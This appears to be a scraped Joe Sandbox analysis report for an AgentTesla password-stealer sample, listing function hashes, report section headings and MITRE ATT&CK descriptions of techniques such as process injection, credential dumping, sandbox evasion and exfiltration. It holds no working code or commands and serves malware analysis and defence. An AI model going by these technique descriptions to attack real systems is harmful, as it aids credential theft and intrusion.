Instruction Fuzzy Hash: 4B219F755093808FDB07CF24D994715BFB1FB46214F28C5EAD8498F2A7C33A980ACB62

Function 0187178A Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3284573358.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1870000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ed06e67a770fd6d2a2a1c9cafa0662379f0222d54856cbaa3ea7079c39ed627
Instruction ID: 1e04c9f9113892d465784fb90916582ae3dbc6f7a275599c3f05bf248a7a7087
Opcode Fuzzy Hash: 8ed06e67a770fd6d2a2a1c9cafa0662379f0222d54856cbaa3ea7079c39ed627
Instruction Fuzzy Hash: F711A1B6F013159BCB11AB78A84C66EBAE6FB48754F108526E909D3345EB38C90287D2

Function 01871452 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3284573358.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1870000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cda5801c1453d61a84a0488432dc732d403fe212a4638d0101cc594bbd16dc8
Instruction ID: 2cee17da1fd2440218ea7d4e044f96ef139d0eb3a22171ba81d3bf454eaabd86
Opcode Fuzzy Hash: 8cda5801c1453d61a84a0488432dc732d403fe212a4638d0101cc594bbd16dc8
Instruction Fuzzy Hash: A1118231A012158FCF21EFBC889429D7BF5EF49315B1400B9E905E7741E735DA41C7A2

Function 01871460 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3284573358.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1870000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c08482f15ec2a44fce9c3db8d574b673a6cbf2f0fc9245534c9cf655650f3fd
Instruction ID: 893bdb02c401db9c0562ea2f4eb3207bba196b2ada4efa69a1a7734517a9993d
Opcode Fuzzy Hash: 7c08482f15ec2a44fce9c3db8d574b673a6cbf2f0fc9245534c9cf655650f3fd
Instruction Fuzzy Hash: A5016D31A012158FCF21EFBC88841ADBBE5AB49314B14047AE905E7641E635EA41CBA2

Function 01879910 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3284573358.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1870000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3a4d45d8c94219d935b5ca0c88d6fd1b9293333939c5e84e476ecf8905852e5
Instruction ID: 3db606f842cbda76939eb1bf1f8edc4e1c4b452812e0d0c932f7b1adb31a8d05
Opcode Fuzzy Hash: c3a4d45d8c94219d935b5ca0c88d6fd1b9293333939c5e84e476ecf8905852e5
Instruction Fuzzy Hash: 6E112B30A001058FDB04EFA5DA9078ABB7AFF80320F14C135C80C5B359D774EA06C791

Function 01878171 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3284573358.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1870000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41f9e4838d943caf9f9bb8d50cc49b84c4b82e5b3edbf5fec56aed39671ece6d
Instruction ID: 530ea211aafc8cf0cb19348cd73a9a0d789cb8d721fa46d8568959557cf2a73d
Opcode Fuzzy Hash: 41f9e4838d943caf9f9bb8d50cc49b84c4b82e5b3edbf5fec56aed39671ece6d
Instruction Fuzzy Hash: 95012C31A00209DFCB45EFB8F94899D7BB9EF44308F1085BDC4059B266EB356E099B92

Function 018714EC Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3284573358.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1870000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f53f6290cfb1215d1bc2064c15b57a9e571a1d3c959001db26eda633a5cd660
Instruction ID: 2c878a1ce4525fa3fe8de5555ea39ca91a9dfd1a364cf0741e01c4251335a82a
Opcode Fuzzy Hash: 9f53f6290cfb1215d1bc2064c15b57a9e571a1d3c959001db26eda633a5cd660
Instruction Fuzzy Hash: 22F02B33E041548BDB218BBC88D41ACBFA1FE65325B1D00D7D845EBA51D735D642C751

Function 01878180 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3284573358.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1870000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b71998f70500cf116b557b0459060d8cc5686dfc324bf1b4f9ab6c79cc1dcd1a
Instruction ID: 543cad8c27ec9d88e734099326469b3804f4846a42723a19c816dc8cb74982b2
Opcode Fuzzy Hash: b71998f70500cf116b557b0459060d8cc5686dfc324bf1b4f9ab6c79cc1dcd1a
Instruction Fuzzy Hash: E0F03130A40109DFCB45EFB8F94499D7BB9EF44304F108579C4059B265EF346E099B91

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Function 085C9DCF Relevance: 4.1, Strings: 3, Instructions: 301
COMMON

Function 085C8DEA Relevance: 10.2, Strings: 8, Instructions: 230
COMMON

Function 085C8DC5 Relevance: 10.2, Strings: 8, Instructions: 220
COMMON

Function 085C2C30 Relevance: 7.8, Strings: 6, Instructions: 325
COMMON

Function 0133D474 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Function 0133D478 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Function 085C8240 Relevance: 5.1, Strings: 4, Instructions: 75
COMMON

Function 085C7B4C Relevance: 2.7, Strings: 2, Instructions: 179
COMMON

Function 085C7B33 Relevance: 2.7, Strings: 2, Instructions: 175
COMMON

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Application Log: Application Log Content, Cloud Storage: Cloud Storage Access, Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre